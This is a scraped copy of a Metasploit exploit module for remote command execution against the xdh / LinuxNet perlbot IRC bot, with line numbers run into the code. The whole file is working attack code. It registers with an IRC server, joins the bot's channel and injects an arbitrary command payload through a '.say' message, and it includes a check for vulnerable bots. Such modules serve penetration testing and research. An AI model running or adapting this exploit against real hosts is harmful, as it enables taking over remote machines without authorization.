Path: blob/master/modules/exploits/multi/misc/xdh_x_exec.rb
21666 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution',15'Description' => %q{16This module allows remote command execution on an IRC Bot developed by xdh.17This perl bot was caught by Conor Patrick with his shellshock honeypot server18and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt19Thayer also found this script which has a description of LinuxNet perlbot.2021The bot answers only based on the servername and nickname in the IRC message22which is configured on the perl script thus you need to be an operator on the IRC23network to spoof it and in order to exploit this bot or have at least the same ip24to the config.25},26'Author' => [27# MalwareMustDie28'Jay Turla', # msf29'Conor Patrick', # initial discovery and botnet analysis for xdh30'Matt Thayer' # initial discovery for LinuxNet perlbot31],32'License' => MSF_LICENSE,33'References' => [34[ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ],35[ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery36[ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is37],38'Platform' => %w{unix win},39'Arch' => ARCH_CMD,40'Payload' => {41'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf42'DisableNops' => true,43'Compat' =>44{45'PayloadType' => 'cmd'46}47},48'Targets' => [49[ 'xdh Botnet / LinuxNet perlbot', {} ]50],51'Privileged' => false,52'DisclosureDate' => '2015-12-04',53'DefaultTarget' => 0,54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)6162register_options(63[64Opt::RPORT(6667),65OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),66OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name67OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])68]69)70end7172def post_auth?73true74end7576def check77connect7879res = register(sock)80if res =~ /463/ || res =~ /464/81vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")82return Exploit::CheckCode::Unknown83end8485res = join(sock)86if !res =~ /353/ && !res =~ /366/87vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")88return Exploit::CheckCode::Unknown89end9091quit(sock)92disconnect9394if res =~ /auth/ && res =~ /logged in/95Exploit::CheckCode::Vulnerable96else97Exploit::CheckCode::Safe98end99end100101def send_msg(sock, data)102sock.put(data)103data = ""104begin105read_data = sock.get_once(-1, 1)106while !read_data.nil?107data << read_data108read_data = sock.get_once(-1, 1)109end110rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e111elog(e)112end113114data115end116117def register(sock)118msg = ""119120if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?121msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"122end123124if datastore['NICK'].length > 9125nick = rand_text_alpha(9)126print_error("The nick is longer than 9 characters, using #{nick}")127else128nick = datastore['NICK']129end130131msg << "NICK #{nick}\r\n"132msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"133134send_msg(sock, msg)135end136137def join(sock)138join_msg = "JOIN #{datastore['CHANNEL']}\r\n"139send_msg(sock, join_msg)140end141142def xdh_command(sock)143encoded = payload.encoded144command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n"145send_msg(sock, command_msg)146end147148def quit(sock)149quit_msg = "QUIT :bye bye\r\n"150sock.put(quit_msg)151end152153def exploit154connect155156print_status("#{rhost}:#{rport} - Registering with the IRC Server...")157res = register(sock)158if res =~ /463/ || res =~ /464/159print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")160return161end162163print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")164res = join(sock)165if !res =~ /353/ && !res =~ /366/166print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")167return168end169170print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...")171xdh_command(sock)172173quit(sock)174disconnect175end176end177178179